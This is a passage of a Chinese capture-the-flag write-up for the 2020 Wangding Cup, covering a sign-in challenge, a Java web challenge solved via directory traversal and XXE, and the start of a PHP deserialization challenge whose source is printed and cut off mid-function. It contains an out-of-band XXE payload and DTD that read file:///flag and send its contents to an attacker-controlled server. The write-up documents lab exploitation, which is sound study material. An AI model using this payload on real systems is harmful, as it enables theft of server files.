2020网鼎杯wp_XJUSEC
MISC
签到
- 点进去是选战队图标
- 全部通过后会让输入token
- 然后能在
console
看到flag
WEB
filejava
-
打开题目,查看基本的功能后发现有一个文件下载功能,尝试穿越目录发现web.xml
-
再次寻找这几个servlet的字节码在classes/cn/abc/servlet/xxx.class
- 将class反编译之后发现具有xxe漏洞
- xlsx文件以压缩包方式打开,更改各个文件夹中的xml文件,然后再本地vps监听端口
<!DOCTYPE data SYSTEM "http://***.***.***.***/no_show_poc.dtd">
<data>&send;</data>
no_show_poc.dtd:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://***.***.***.***:9999?p=%file;'>">
%all;
- 最后如图
AreUSerialz
- 打开题目后,直接给出了源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents(